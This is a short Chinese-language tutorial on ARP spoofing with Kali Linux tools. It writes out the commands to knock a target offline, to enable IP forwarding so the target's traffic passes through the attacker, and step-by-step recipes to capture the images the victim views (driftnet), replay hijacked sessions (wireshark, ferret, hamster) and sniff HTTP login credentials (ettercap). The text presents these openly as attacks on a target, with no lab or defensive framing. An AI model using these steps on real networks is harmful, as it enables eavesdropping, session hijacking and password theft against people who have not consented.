arpspoof 是一款进行arp欺骗的工具
arpspoof -i 网卡 -t 目标ip 默认网关
如果kali没有进行IP转发 那么目标就会因为配置错网而导致断网 这就是所谓的arp断网攻击
开启IP转发:echo 1 >/proc/sys/net/ipv4/ip_forward
关闭IP转发:echo 0 >/proc/sys/net/ipv4/ip_forward
查看IP转发是否成功:cat /proc/sys/net/ipv4/ip_forward 如果显示1则表示开启成功,显示0则开启失败
开启IP转发后 流量会经过kali的主机而后再去到目标 所以这时开启arpspoof 那么目标就不会断网
因为流量通过了kali主机那么我们就可以做点手脚了
比如:
获取目标主机正在访问的图片-->工具 arpspoof 和 driftnet
driftnet用法: driftnet -i 网卡
在开启路由转发后 开启arpspoof 因为流量通过了kali主机 我们就可以用driftnet获取在流量中的图片
会话劫持-->工具 arpspoof 和 wireshark , ferret, hamster
wireshark 抓包工具
ferret 将.pcap文件转换问.txt给hamster使用
hamster 重新释放流量
1.开启ip转发和arpspoof
2.用wireshark抓包并报存到/root/目录(文件格式为.pcap)->在命令行直接输入wireshark即可打开工具
3.用 cd 切换到/root/目录 用ferret将wireshark保存的.pcap格式文件转换为txt文件
ferret用法: ferret -r .pcap格式文件
4.用hamster重放流量
hamster用法: hamster -h
5.在浏览器中设置代理127.0.0.1:1234 然后访问127.0.0.1:1234
如果在浏览器下方出现目标ip则成功 反之失败
点击那个标签 浏览器左边就会出现很多url 这些就是目标访问的网站 点击这些url 就可以了
~~~~~
获取目标http账号密码
1.开启ip转发和arpspoof
2.开启ettercap
Ettercap -Tq -i 网卡
如果目标登录了某网站 那么我们可以获取他的账号密码了